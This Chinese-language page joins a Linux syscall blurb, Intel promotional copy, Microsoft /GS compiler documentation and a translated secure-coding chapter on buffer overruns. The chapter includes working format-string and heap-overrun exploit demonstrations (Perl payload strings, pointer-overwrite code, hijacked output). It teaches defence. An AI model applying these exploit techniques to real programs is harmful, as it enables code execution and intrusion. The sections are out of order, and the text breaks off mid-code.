jollen 發表於 October 11, 2006 2:58 PM /本文出處: www.jollen.org 已取得原作者授權使用
把 Linux 提供的 sytsem call service 依分類做整理,並提供實作檔案。本表使用於 Jollen 的「2. GNU Toolchains 與 Embedded Linux Programming」課程中,在此提供給大家做參考。目前依據 Linux 2.6.11 原始碼製成,請搭配 2.6.11 以上的版本做研究。
--jollen
把 Linux 提供的 sytsem call service 依分類做整理,並提供實作檔案。本表使用於 Jollen 的「2. GNU Toolchains 與 Embedded Linux Programming」課程中,在此提供給大家做參考。目前依據 Linux 2.6.11 原始碼製成,請搭配 2.6.11 以上的版本做研究。
--jollen
只要結合支援此技術的作業系統,Intel 的病毒防護技術 (Execute Disable Bit)Ф 就可以防護電腦免於某些惡意「緩衝溢位 (Buffer Overflow)」的駭客攻擊。
病毒防護技術 (Execute Disable Bit) 可以讓處理器針對記憶體區域進行分類,以判斷是否能夠執行應用程式的程式碼。當惡意的蠕蟲嘗試在緩衝區插入程式碼,處理器就會停止該程式碼的執行,避免造成系統的破壞以及蠕蟲的繁殖。
以具備病毒防護技術 (Execute Disable Bit) 的系統取代老舊的電腦,即可防止蠕蟲的攻擊,降低因病毒所導致的修復成本。此外,病毒防護技術 (Execute Disable Bit) 還可以省略某些針對「緩衝溢位 (Buffer Overflow)」攻擊之軟體修補程式的安裝。有效結合病毒防護技術 (Execute Disable Bit) 與防毒軟體、防火牆、間諜軟體防護功能、電子郵件過濾軟體以及其他網路安全機制,可以讓資訊管理人員將 IT 資源投入在更有附加價值的項目上。
如何平衡安全防護機制與有限資源之間的取捨,是令人卻步的困難工作。從安全性的角度來看,風險和陷阱與日俱增,手法也日新月異,很難進行預測;而從預算限制的角度而言,IT 無法享受「理想世界」中的無止盡資源。
採用 Intel® 架構的安全機制,可以協助不同規模的 IT 組織有效防護企業資料。Intel 與安全軟體供應商互通合作,並提供各種網路裝置的安全功能,可以協助您強化企業基礎架構的防範措施。
無線區域網路 (WLAN) 技術所實現的彈性和行動力,是各行各業不可或缺的競爭優勢。然而,由於 WLAN 技術是採用無線電波傳送資料,無線網路的安全性顧慮不容忽視。
只要熟悉各種可用的 WLAN 安全標準,瞭解安全漏洞的來龍去脈,並在貴組織中針對安全性實施相關的最佳準則,即可確保資料的安全性。
Ф 若要使用病毒防護技術 (Execute Disable Bit) 的功能,電腦需要具備病毒防護技術 (Execute Disable Bit) 的處理器以及支援此技術的作業系統。請洽詢您的電腦製造商,以瞭解您的系統是否具備病毒防護技術 (Execute Disable Bit) 的功能。
會偵測某些覆寫傳回位址的緩衝區滿溢 (Buffer Overrun),這是一種利用未強制執行緩衝區大小限制之程式碼的常用技術,這是藉由將安全性檢查插入已編譯的程式碼來達成。
/GS[-]
/GS 預設為開啟。如果您希望應用程式沒有安全性漏洞,請使用 /GS。
如需 /GS 的詳細資訊,請參閱 Compiler Security Checks In DepthCompiler Security Checks In Depth。
此編譯器會插入具有本機字串緩衝區的簽入函式,或是 x86 上具有例外處理的函式。字串緩衝區是定義為陣列,其項目大小是一個或兩個位元組,而整個陣列的大小至少是五個位元組,或任何以 _alloca 配置的緩衝區。
在 所有平台上,如果此函式有本機字串緩衝區,編譯器會插入 Cookie 來保護函式的傳回位址。函式結束碼上,以及在 64 位元作業系統上的框架回溯期間或是在 x86 上有某種形式之例外處理的函式上,會檢查此 Cookie。在 x86 上,編譯器也會插入 Cookie 來保護函式之例外處理常式的位址;在框架回溯期間會檢查這個 Cookie。
/GS 主要會嘗試偵測直接緩衝區滿溢至傳回位址。緩衝區滿溢較容易運用於呼叫慣例的機器,該呼叫慣例會在堆疊上儲存函式呼叫的傳回位址。例如,x86 所使用的呼叫慣例會在堆疊上儲存函式呼叫的傳回位址。
有關編譯器認為可能發生緩衝區滿溢問題的函式,該編譯器會在傳回位址前配置堆疊空間。當函式進入時,這個配置的空間會載入一個會在模組載入時記算一次的安全性 Cookie。然後,在函式離開時,會呼叫 Helper 函式來確定這個 Cookie 的值是否仍然一樣。
如果該值不再相同,可能是發生了堆疊覆寫,處理序只好結束。在 Visual C++ 2005 之前,會顯示一個對話方塊,指出發生了堆疊覆寫的情況。
/GS 也會防止有弱點的參數傳遞至函式。有弱點的參數是指標、C++ 參考,或者是含有指標、字串緩衝區或 C++ 參考的 C 結構 (C++ POD 型別)。
有 弱點的參數會先配置,然後才配置 Cookie 和本機變數。緩衝區滿溢可以覆寫這些參數,函式中使用這些參數的程式碼可能會在函式傳回之前導致發生攻擊,從而避開了安全性檢查。為了將此危險性降到最 低,編譯器會在函式初構期間製作有弱點的參數之複本,並將它們放在任何緩衝區的儲存區域下。
在下列情況中,編譯器不會針對有弱點的參數提供任何安全性保護措施:
沒有包含緩衝區的函式
在沒有啟用最佳化 (/O 選項 (最佳化程式碼)) 的情況下
具有可變個數引數清單 (...) 的函式
以 naked (C++) 標記的函式。
在第一個陳述式中包含內嵌組譯程式碼的函式
在緩衝區滿溢的事件中,如果僅以比較不可能遭利用的方式來使用參數
/GS 需要初始化安全性 Cookie,必須要先初始化這個 Cookie 之後,任何使用此 Cookie 的函式才會執行。一旦進入到 EXE 或 DLL 之後,就必須初始化此安全性 Cookie。當使用預設 CRT 進入點 (mainCRTStartup、wmainCRTStartup、WinMainCRTStartup、wWinMainCRTStartup 或 _DllMainCRTStartup) 時,會自動處理這項作業;如果您使用替代的進入點,則必須透過 __security_init_cookie 的呼叫來以手動方式進行。
當使用 /clr (Common Language Runtime 編譯) 編譯時,Managed 函式會支援 /GS。
/GS 並未保護所有的緩衝區滿溢安全性不受攻擊。例如,如果物件中有緩衝區與 vtable,緩衝區滿溢可能會損毀 vtable 並讓攻擊有機可趁。
即使使用 /GS,仍應致力編寫安全的程式碼。也就是說,請確保程式碼不會發生緩衝區滿溢。如果程式碼中確實有緩衝區滿溢的危險,則 /GS 可以保護您的應用程式。
開啟專案的 [屬性 頁] 對話方塊。如需詳細資訊,請參閱 HOW TO:開啟專案屬性頁。
按一下 [C/C++] 資料夾。
按一下 [程式碼產生] 屬性頁。
修改 [緩衝區安全性檢查] 屬性。
格式化字串臭蟲
格 式化字串臭蟲並不盡然是緩衝溢位,不過卻會發生同樣的問題。您可以在BugTraq中發現兩個相當好的文章:一個是Tim Newsham在http://www.securityfocus.com/archive/1/81565中所貼的文章,另一篇則是 LamagraArgamal在www.securityfocus.com/archive/1/66842所發表。基本上這個問題起源於函數沒有任何 實際可用的方法去決定有多少引數能被引入。像是printf、包括C的執行函數(run-time function),是個能使用很多種引數的函數。這個問題中有趣的部分是,%n format specifier寫入的位元數值將會被以格式化字串的方式寫入指標,並且做為引數的內容。經過稍微的修補,我們發現處理的記憶體空間中的隨機位元,被攻 擊者所選擇的位元所覆寫。在過去幾年,有許多格式化字串臭蟲發現於UNIX的程式中,在Windows中想要放入這樣的臭蟲似乎有點困難,只有在寫入 0x00ffffff或是以下的大型記憶體區塊時才可能發生。像是堆疊一般會被發現在大約0x00120000的範圍中。
如果運氣好的話,這個問題可以被攻擊者克服,甚至於攻擊者並不夠幸運,他可以輕易的從0x01000000到0x7fffffff 的位址寫入資料。要修正這個錯誤也很簡單:將格式化的字串傳送到printf家族的函數裡,如printf(input)即為可利用的,printf(“%s", input),則為不可利用的。這裡是一個描寫這個問題的應用程式:
#include
#include
#include
typedef void (*ErrFunc)(unsigned long);
void GhastlyError(unsigned long err)
{
printf(“Unrecoverable error! - err = %d\n", err);
exit(-1);
}
void RecoverableError(unsigned long err)
{
printf(“Something went wrong, but you can fix it - err = %d\n",
err);
}
void PrintMessage(char* file, unsigned long err)
{
ErrFunc fErrFunc;
char buf[512];
if(err == 5)
{
//存取拒絕
fErrFunc = GhastlyError;
}
else
{
fErrFunc = RecoverableError;
}
_snprintf(buf, sizeof(buf)-1, “Cannot find %s", file);
//顯示給使用者看緩衝區中的內容
printf(“%s", buf);
//預防編譯器修改了你的程式
printf(“\nAddress of fErrFunc is %p\n", &fErrFunc);
//這裡是發生問題的地方
//別在你的程式中做這樣的動作
fprintf(stdout, buf);
printf(“\nCalling ErrFunc %p\n", fErrFunc);
fErrFunc(err);
}
void foo(void)
{
printf(“Augh! We’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
FILE* pFile;
//用了一些小技巧讓這個例子簡單一些
printf(“Address of foo is %p\n", foo);
//這只會開啟現存的檔案
pFile = fopen(argv[1], “r”);
if(pFile == NULL)
{
PrintMessage(argv[1], errno);
}
else
{
printf(“Opened %s\n", argv[1]);
fclose(pFile);
}
return 0;
}
這裡是應用程式如何運做的例子。它試著開啟一個檔案,如果開啟檔案失敗的話,它就會呼叫PrintMessage,然後判斷錯誤是可復原的或者是可怕的災難,並且設定函數指標。PrintMessage 然後就會格式化錯誤字串到緩衝區,並且把它列印出來。利用這個方法,我插入了一些額外的printf呼叫來幫助建立剝削,並且幫助讀者找出位址的不同處。如果你並沒有格式化字串的臭蟲時,App也會列印出它應該要列印的字串。
就如同往常,我們的目標是取得foo函數,並執行它1,以下是你輸入一個正常的檔名時,會發生的問題:
C:\Secureco2\Chapter05>formatstring.exe not_exist
Address of foo is 00401100
Cannot find not_exist
Address of fErrFunc is 0012FF1C
Cannot find not_exist
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2
Now let’s see what happens when we use a malicious string:
C:\Secureco2\Chapter05>formatstring.exe %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x
Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Address of fErrFunc is 0012FF1C
Cannot find 14534807ffdf000000000000000012fde8077f516b36e6e6143662
0746f20646e69782578257825782578257825782578257825782578257825
Calling ErrFunc 00401030
Something went wrong, but you can fix it - err = 2
這看起來很有趣,我們在這裡看到的是資料被放在堆疊裡,請再次注意到這個問題。 “7825”字串是%x 的相反,因為在這裡我們用的是little endian 晶片架構。請思考我們餵給應用程式的字串現在已經變成資料了。讓我們來玩一下它們。使用Perl script會讓它容易些—我放置$arg內容的程式都被拒絕了,如我們透過這個例子所執行的,先標註最後$arg的宣告,然後再將下一行解除標註。這裡 是它的Perl script指令檔內容:
# Comment out each $arg string, and uncomment the next to follow along
# This is the first cut at an exploit string
# The last %p will show up pointing at 0x67666500
# Translate this due to little-
# endian architecture, and we get 0x00656667
$arg =
“%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now comment out the above $arg, and use this one
# $arg =
“......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p”."ABC";
# Now we’re actually going to start writing memory -
let’s overwrite the ErrFunc pointer
# $arg =
“.....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
# Finally, uncomment this one to see the exploit really work
# $arg =
“%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn”."\x1c\xff\x12";
$cmd = “formatstring “.$arg;
system($cmd);
要使用第一個剝削字串,先將ABC標註到最後,然後讓將%x 換成%p 。起先不會有任何變化,但是放入一些%x內容後,我們就會得到下列的結果:
C:\Secureco2\Chapter05>perl test1.pl
Address of foo is 00401100
Cannot find %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find 70005c6f00727[…]782578257025782500434241ABC
如果你最後整理了%x,我們最後就會得到00434241ABC。我們把最後的位置以ABC取代了%p。加入空字串的話,我們就可以在這個應用程式的記憶體當中寫入空白。當我們的剝削字串完全的被損毀後,我們可以使用Perl script將ABC改成 “\x1c\xff\x12”,這樣可以允許我們覆寫掉fErrFunc中的內容。
現在程式告訴我們,我正在一些有趣的地方呼叫ErrFunc 函數。在建立這個範例程式時,我發現它以(.)字元開始,然後修正符合%x的內容。如果你在輸入除了00434241ABC外還有別的內容,從前面加入一 些字元,讓資料排列在4-byte範圍裡,並且在指定讀取%p參數的地方的新增或者是移除%x 。在Perl script中標示出第一個剝削,並且將第二個解除標示。我們現在在下一頁中上方處是什麼內容:
C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find ......%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%pABC
Address of fErrFunc is 0012FF1C
Cannot find ......70005c6f00727[...]8257025782500434241ABC
一旦你使用了前面的四個或五個字元,你就可以準備將任何字元寫入記憶體中。首先,請記住%hn 將會寫入已經寫入之前被%p所指到的16-bit值的字元數,刪除你所插入以h為傳輸襯墊字元,並且將 “ABC”變更為“\x1c\xff\x12”,並且試試看如何使用它。如果你跟我用一樣的方法來執行它的話,你將會看到以下的程式:
C:\Secureco2\Chapter05>perl test.pl
Address of foo is 00401100
Cannot find .....%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn? ?
Address of fErrFunc is 0012FF1C
Cannot find .....70005c6f00727[…]78257825786e682578? ?
Calling ErrFunc 00400129
在你的應用程式可能丟出插斷或者無法使用後,現在我們要到別的地方。請注意我們現在管理覆寫ErrFunc 指標。我知道foo位於0x00401100記憶體位置中,而且我設定ErrFunc 函數到0x00400129這個位址,它有4055位元,較我們所管理寫入的內容多。它做的事就是將它的第一個%x呼叫填入.4066。當我執行test.pl,我取得這個結果:
Calling ErrFunc 00401100
Augh! We’ve been hacked!
因為我沒有在記憶體中加入很多的內容,因此app可以優雅的存在著。我為我想要寫入的應用程式正確的寫入2-byte的資料。請記得,如果你允許攻擊者在 你的應用程式的任何地方寫入記憶體中,在他想出如何將它變成災難或者是任何可執行檔前,它都是一個很好的時機。這個臭蟲可以很容易的被避免掉,如果你有一 個客製化的儲存字串,用來幫助你在應用程式使用其它的語言,如果你這樣做的話,請記住字串無法被未被授權的使用者寫入。
Unicode與ANSI緩衝大小失調
在Windows平台中,由Unicode和ANSI緩衝大小失調而引起的緩衝溢位是相當普遍的。如果您把Unicode緩衝大小的元素數目搞混,這就很容易發生。有兩個它會如此廣佈的理由:Windows NT及其以後的版本支援ANSI和Unicode字串,而且大部分的Unicode函數以廣義的字元處理緩衝大小,而不是位元大小。
最容易受害且最常用的函數便是MultiByteToWideChar。請看看以下的語法:
BOOL GetName(char *szName)
{
WCHAR wszUserName [256 ];
//將ANSI名稱轉換到Unicode.
MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName));
//Snip
§
}
您可以看得出來問題出在哪嗎?問題就出在MultiByteToWideChar最後的引數。這個引數表示:以廣義的字元指定大小,藉由 lpWideCharStr參數指向緩衝。所引入的數值為sizeof(wszUserName)。WszUserName是一個Unicode字串、 256廣義字元。廣義字元具有兩個byte,因此實際上sizeof(wszUserName)是512位元。由此可知,函數會認定緩衝大小是512廣義 字元。因為wszUserName在堆疊上,我們便擁有潛在發生的緩衝溢位。
以下是這個函數的正確寫法:
MultiByteToWideChar(CP_ACP,0,
szName,
-1,
wszUserName,
sizeof(wszUserName)/sizeof(wszUserName [0 ]));
要降低困擾,下面是一個用來建立巨集的好方法:
#define ElementCount(x) (sizeof(x)/sizeof(x[0]))
這是在將unicode轉換成ANSI時,你應該要想到,並不是所有的字元都可以被輚換。WideCharToMultiByte的第二個參數用來在字元 無法被轉換時,判斷函數是如何執行的。在與canonicalization打交道或者是記錄使用者輸入時,它是很重要的,特別是從網路上進行這個工作。
| 警告 使用%S格式用來指定printf家族函數將會跳過沒有被轉換的字元。因此在輸入的Unicode 字串字元數比輸出字元字串來的大的情況是有可能的。 |
一個 Unicode bug 實例
IPP (The Internet Printing Protocol)緩衝溢位便是Unicode bug的一種。您可以在www.microsoft.com/technet/security中的MS01-23看到一些有關訊息。在IIS 5(Internet Information Service)中,IPP在SYSTEM帳號下扮演ISAPI過濾器的角色,因此遂行的緩衝溢位變得更加危險。請注意臭蟲並非在IIS中,受害的程式語法有點像是以下這樣:
TCHAR wszComputerName [256 ];
BOOL GetServerName(EXTENSION_CONTROL_BLOCK *pECB){
DWORD dwSize =sizeof(wszComputerName);
char szComputerName [256 ];
if (pECB->GetServerVariable (pECB->ConnID,
"SERVER_NAME",
szComputerName,
&dwSize)){
//Do something.
}
ISAPI 函數─ GetServerVariable,可以複製 dwSize 所定義的位元大小到 szComputerName,而 dwsize 是 512,TCHAR在程式中是一個 Unicode 或是廣義字元。此函數能夠將最大至 512 位元的資料複製到 szComputerName 中。
它是一個對於緩衝區由 ANSI 轉到 UNICODE 並不會產生衝突的一個溢位的錯誤觀念。每個其它的字串都是空字串,那你應該要如何使用它呢?你可以參考 Chris Anley 的文章,裡面有描述這是如何產生的,而你可以在下面的網址中找到造成這種情況的原因。
總結來說,你需要一個較往常大的緩衝區,而攻擊者就會自Intel的架構中包含了位元總數的變數中取得利益。這允許攻擊者讓系統將一系列的 Unicode 串解譯到單一位元指令的字元。如同往常,假設攻擊者可以用任何方法來影響執行路徑,就有可能發生濫用的情況。
防範緩衝溢位
第一道防線便是撰寫零錯誤程式碼!雖然撰寫安全性語法在某方面窒礙難行,不過防止了緩衝溢位,就等於撰寫了一個零錯誤的程式。Steve Maguire所撰寫的Writing Solid Code (Microsoft Press,1993,中譯本為撰寫零錯誤程式)是一本你可以參考的寶貴資源。即使您是一位小心翼翼、經驗豐富的程式設計師,這本書依然值得閱讀。系統安全公敵 - 緩衝溢位 (二)
堆積溢位(Heap Overrun)
「堆積溢位」(Heap Overrun)和緩衝溢位是一樣,都是嚴重的溢位問題,但是比起緩衝溢位,堆積溢位需要更多一點的技巧。在靜態緩衝溢位的例子中,攻擊者可以在你的程式中任意寫入資訊。WSD(w00w00 Security Development)Matt Conover所撰寫的w00w00 on Heap Overflows是筆者讀過的一篇好文章,您可以在www.w00w00.org/files/articles/heaptut.txt中找到這篇文章。這篇文章列出許多有關Heap Overrun的攻擊,以下則是有關於Heap Overrun嚴重性的結論:
許多程式設計師不認為Heap Overrun是可被開發出來的,這使得他們對於動態指派緩衝疏於照顧。
許多工具可以用來防止靜態緩衝溢位,像是StackGuard、Visual C++ .NET。但這些工具目前並沒辦法對抗堆積溢位。
有些作業系統及晶片的架構可以將堆疊設定為不可執行。但是這也無法幫助你對抗Heap Overrun的攻擊,因為不可執行的堆疊只能對抗以堆疊(Stack)為基礎的攻擊,而非以堆積(Heap)為基礎。
雖然在Matt的文章中是以 UNIX 受到攻擊為範例,但千萬別笨得以為 Microsoft 的 Windows 系統就可逃過一劫。有許多證明 Windows 的程式會被堆積溢位所攻擊。在 w00w00 的文章中並沒有針對堆積溢位攻擊的可能性作詳細說明,不過您還是可以到 BugTraq上Solar Designer 所貼的文章去查詢(www.securityfocus.com/archive/1/71598):
To: BugTraq
Subject: JPEG COM Marker Processing Vulnerability in Netscape
Browsers
Date: Tue Jul 25 2000 04:56:42
Author: Solar Designer <>
Message-ID: <200007242356.daa01274@false.com>
[以上文字省略]
在以下的例子中,我們假設 Doug Lea 的 malloc (使用在大部分的 Linux 平台中,libc5 和glibc)及 locale 函數為 8 位元的字元組(就像大部分的 locale 依附於 glibc ,包括 en_US 或是ru_RU.KOI8-R)。
以下的各項欄位是為了保留給列表中未使用的資料區塊:之前保留給資料區塊的大小(如果未被使用的話)、這個資料區塊的大小、及指到下一個和前一個資料區塊的指標。另外,資料區塊的大小所顯示的bit 0,乃是用來表示前一個資料區塊是否正在使用中(由於structure大小及alignment,chunk實際大小的LSB將總是為0)
小心處理這些欄位,便可能將傳送到free(3)記憶體位址的呼叫,取代為我們的資料,進而覆蓋掉原來獨占性記憶體位址的資料。
[以下文字省略]
請注意這對Linux/x86並沒有任何限制,只是需要以其中一種平台做範例罷了。
以下的程式顯示堆積溢位如何達成:
/*
HeapOverrun.cpp
*/
#include
#include
#include
/*
用來描述問題的一個很爛的典型模組
*/
class BadStringBuf
{
public:
BadStringBuf(void)
{
m_buf =NULL;
}
~BadStringBuf(void)
{
if(m_buf !=NULL)
free(m_buf);
}
void Init(char*buf)
{
//真是爛程式
m_buf =buf;
}
void SetString(const char*input)
{
//這太白痴了
strcpy(m_buf,input);
}
const char*GetString(void)
{
return m_buf;
}
private:
char*m_buf;
};
//宣告一個指標到BadStringBuf典型模組,以保留我們的輸入
BadStringBuf*g_pInput =NULL;
void bar(void)
{
printf("Augh!I've been hacked!\n");
}
void BadFunc(const char*input1,const char*input2)
{
//有人告訴我堆積溢位並不是最酷的,所以我們將要在heap中分配緩衝區
char*buf =NULL;
char*buf2;
buf2 =(char*)malloc(16);
g_pInput =new BadStringBuf;
buf =(char*)malloc(16);
//在分配記憶體時,沒有錯誤檢驗的爛程式allocations
g_pInput->Init(buf2);
//最糟的事情就是當機,不是嗎?
strcpy(buf,input1);
g_pInput->SetString(input2);
printf("input 1 =%s \ninput2 =%s \n",buf,g_pInput->GetString());
if(buf !=NULL)
free(buf);
}
int main(int argc,char*argv [])
{
//模擬argv 字串
char arg1 [128 ];
//這是bar函數的位址
char arg2 [4 ]={0x0f,0x10,0x40,0};
int offset =0x40;
//使用0xfd 是克服heap 損壞檢驗的壞方法
//The 0xfd value at the end of the buffer checks for corruption.
//在這裡沒有錯誤檢驗—它只是建立一個溢位字串的例子
memset(arg1,0xfd,offset);
arg1 [offset ]=(char)0x94;
arg1 [offset+1 ]=(char)0xfe;
arg1 [offset+2 ]=(char)0x12;
arg1 [offset+3 ]=0;
arg1 [offset+4 ]=0;
printf("Address of bar is %p \n",bar);
BadFunc(arg1,arg2);
if(g_pInput !=NULL)
delete g_pInput;
return 0;
}
您也可以在本書所附 CD 裡的 SecureCo2\Chapter 5 資料夾中找到這個程式。我們來看看 main 函數發生了什麼事。首先筆者將找一個便利的方法,把想要傳送至函數的字串設定好。在現實中,字串是由使用者傳送進來。接著筆者將用一些技巧,把想要跳進去的位址列印出來,然後將字串傳送到BadFunc函數中。
您可以想像一位程式設計師對於所撰寫的 BadFunc 產生了靜態緩衝溢位,而朋友卻告訴他一點也沒發生堆積溢位的情形,這將是多尷尬的一件事。因為這位程式設計師還是 C++ 的初學者,同時他也寫了BadStringBuf 的函數,如此C++便將輸入緩衝指標分類。其最大的特徵便是在destructor 中釋放緩衝,以防止記憶體的資料外漏。當然,如果 BadStringBuf 中的緩衝沒有對 mallo c 做初始化,則在呼叫 free 函數的時候會出現一些問題。在 BadStringBuf 中還有幾個其他的臭蟲,筆者將留給讀者自行判斷它們位於何處。
現在讓我們想像自己是一位駭客,你已經注意到當第一或是第二個引數過長而致使程式爆炸,然而錯誤訊息卻顯示記憶體在 heap 中損毀。接著您將為這個程式進行偵錯,並尋找第一個輸入字串的位置。靠近緩衝最佳的記憶體位址在哪?調查中顯示第二個引數寫入另一個動態定位的緩衝中。指 向緩衝的指標在哪?我們可以搜尋符合第二個緩衝位址的記憶體位址(byte),而指向第二個緩衝的指標剛好是 0x40 byte 經過第一個緩衝起始點的位置。當第二個引數被寫成任何指標時,我們可以任意改變此指標,換言之,也可以改變為任何我們所傳送的字串。
在第一個範例中,其目的是得到bar函數並執行,我們可以在這個範例中的參考位址 0x0012fe94 覆寫指標,此時會保留 BadFunc 函數的回傳位址,而這個位址正是在堆疊中指標的位置。您可以依循除錯程式的指示,這個範例是在 Visual C++6.0 中所建立的,如果你的版本不同或是想要試著讓所釋出的版本可以正常的運作的話,offsets 和記憶體配置將會有很多變化。接著我們將把第二個字串設在0x0012fe94~0x0040100f(bar函數的位址)。因為我們沒有將堆疊打碎,因此有些機構將會保護堆疊以致堆疊不會注意到任何改變。如果你執行範例程式,會得到以下的結果:
Address of bar is 0040100F
input 1 = 22222222222222222222222222222222222222222222222222222222o57
input 2 = 64@
Augh! I’ve been hacked!
要注意的是您可以在除錯模式下執行這個程式,因為 Visual C++ 在除錯模式下的堆疊檢查並不能被應用在 Heap 上。如果您覺得這個範例老是在繞圈子而不是那麼容易懂,或是在現實中這樣的可能性是微乎其微,請再仔細思考看看!當 Solar Designer 在他的 email 中指出,即使兩個緩衝無法彼此相鄰,任意的語法也能夠被執行,這是因為你可以很技巧地使用 Heap 管理常式(Heap management routines)。
| Note 我至少知道有三種方法可以讓堆積管理在你所想要的地方寫入四個位元組,而這接著會被用來覆寫掉指標、框架或者是你想要的任何基本東西。它也會因為在應用程式中覆寫掉了一些數值而造成安全性上的臭蟲。存取查驗(Access checks)就是其中一個例子。 |
堆積溢位的數量增加的愈來愈快速了。堆積溢位的攻擊通常較 stack-based 緩衝溢位來的嚴重。但對於駭客而言,不論它是好的駭客或者是一個居心不良的駭客,問題愈有趣,他們就會覺得能解決這個問題是更酷的事情。在這裡底限是你並不需望使用者輸入可以任意寫入記憶體位置的資料。
陣列索引錯誤
陣列索引錯誤比起緩衝溢位則較為不普遍,但是它會造成同樣的結果─那是因為字串也是一串字元組合而成,而且不管哪一種陣列,都一樣會被用來寫入記憶體任意位置。如果你不正視這個問題,或許認為陣列索引錯誤只會允許你寫入比陣列基準(base of the array)高的記憶體位置,但這是不對的。筆者將會針對這個問題在稍後的部分做討論。系統安全公敵 - 緩衝溢位 (一)
| “緩 衝溢位”(Buffer Overrun)在安全上經常是一個問題,最有名的例子便是在1988年Robert T. Morris所設計的毒蟲(Worm)。這個毒蟲的英勇事蹟是導致整個網路幾乎停擺,而網路管理員則必須拔掉網路線,才能控制損害。緩衝區溢位的問題最早 可以追溯到1960年。關於這個議題,你可以在search.support.microsoft.com/kb這個網站上利用緩衝區、安全性等字眼,就 可以找到約20個以上合乎條件的搜尋。而這種標題所衍生出來的需求,則導致一些遠端特權擴大的情形。任何人在www.securityfocus.com 的錯誤通報郵件名單上面,都可以看到在各種不同的作業平台上所執行的程式,所發生的緩衝溢位的相關訊息。 | |
由 此可知,緩衝溢位所帶來的衝擊是不可以低估的!微軟安全回報中心(Microsoft Security Response Center)估計如果發布一個安全性公告,以及建立其相關的修正程式(patch)需要花費100,000美金,但也祇是剛開始而已。數千個網路管理者 必須花更多時間將這些修正程式套用在各個系統上。而系統管理人員同時也必須去識別系統中是否尚有其他系統尚未套用這些修正程式、或者是想辦法通知這些系統 的使用者。更糟的是,使用網路的顧客,同樣的也會被這樣的問題波及。單一的攻擊有可能會造成天文數字的損失,如攻擊者已經侵入如信用卡卡號之類有價值的資 訊。在你的系統上所發生的小小疏忽,可能造成了百萬元的損失,更別提別人會因此而咒罵你了。如果因為你的疏乎,而造成這樣的損失的話,你應該要為自己的疏 乎承擔責任。事實通常是冷酷的,雖然人人都會犯錯,但有些錯誤卻會引起非常嚴重的後果。
緩衝溢位會成為今天的問題,在於貧乏的撰寫程式習慣,如C和C++缺乏安全、易用的字串、管理函數以及忽略重大的嚴重性…等。這些習慣等於程式設計師自己用槍射自己的腳。
視窗安全小組在2002年在微軟公司發展了一組字串處理函數,而這組函數與作業系統所製作的函數有類似的地方。我希望這些新的函數將會被納入標準,這樣不 管目標平台是什麼,我們都有有安全的字串處理子可以使用。我將會花一些時間在本章的「使用Strsafe.h」一節中來解釋Microsoft 版本的函數。
雖然我真的很喜歡BASIC的變數—你們可能認為我指的是Microsoft Visual Basic,但是我是因為需要行號(Java, Perl, C#)才開始撰寫BASIC的—而其它的高階語言,都會進行執行階段的陣列範圍檢查,而他們也有很多方便的字串型態,而這些語言都有他們自己方便的字串型 態,而這就是為什麼作業系統都以C寫成,有些會加入C++。因為原始的系統呼叫界面是以C或C++寫成的,程式設計人員將會可以更有彈性的使用他們。雖然 讓時間倒轉並且認定c是一個安全的字串型態,擁有安全函數的程式庫,但他們是不可能能。我們只要知道當我們我們的程式是使用在刀口上—那就要小心操刀了。
在接下來的部分,將舉出不同類型的緩衝溢位,諸如陣列索引錯誤、字串格式的臭蟲、Unicode與ANSI緩衝大小不合等等。筆者將告訴您一些方法排解這些問題,也會告訴您一些避免這些問題的技巧。
靜態緩衝溢位
當一個被宣告在堆疊中的緩衝區,經由複製資料的方式,被寫入了一個比緩衝區大的資料時,此時就稱為“靜態緩衝溢位”。在堆疊中宣告的變數,位在為 function caller所準備的回傳位址旁。一般犯罪的手法是將未檢驗的使用者輸入資訊傳送至如strcpy的函數中,其結果是函數的回傳位址被攻擊者所選擇的位址 所覆寫。一般攻擊者可以取得一個具備緩衝溢位的程式,並且做些他認為有用的事:像是在他們所選擇的位址埠上組合一些命令。不過攻擊者還是有一些需要克服 的,像是使用者輸入的資訊不一定完全未被檢驗,還有在緩衝中的字元的數目也受到限制。如果您使用的是佔有兩個字元(double-byte)的字元組(像 是中文),攻擊者可能就必須花較多時間克服,但還是有辦法解決的。接下來筆者將用C來展示一個簡易的溢位,請看看以下的語法:
/*
StackOverrun.c
這個程式顯示了stack-based緩衝區溢位,可以用來執行任何程式。它主要是找到一個執行函數列的輸入字串
*/
#include
#include
void foo(const char* input)
{
char buf[10];
//什麼?沒有其它的參數可以傳送給printf?
//當我們觀查格式時,我們將會再次看到這個把戲
printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n”);
//將使用者輸入直接送到安全程式碼,頭號公敵
strcpy(buf, input);
printf(“%s\n", buf);
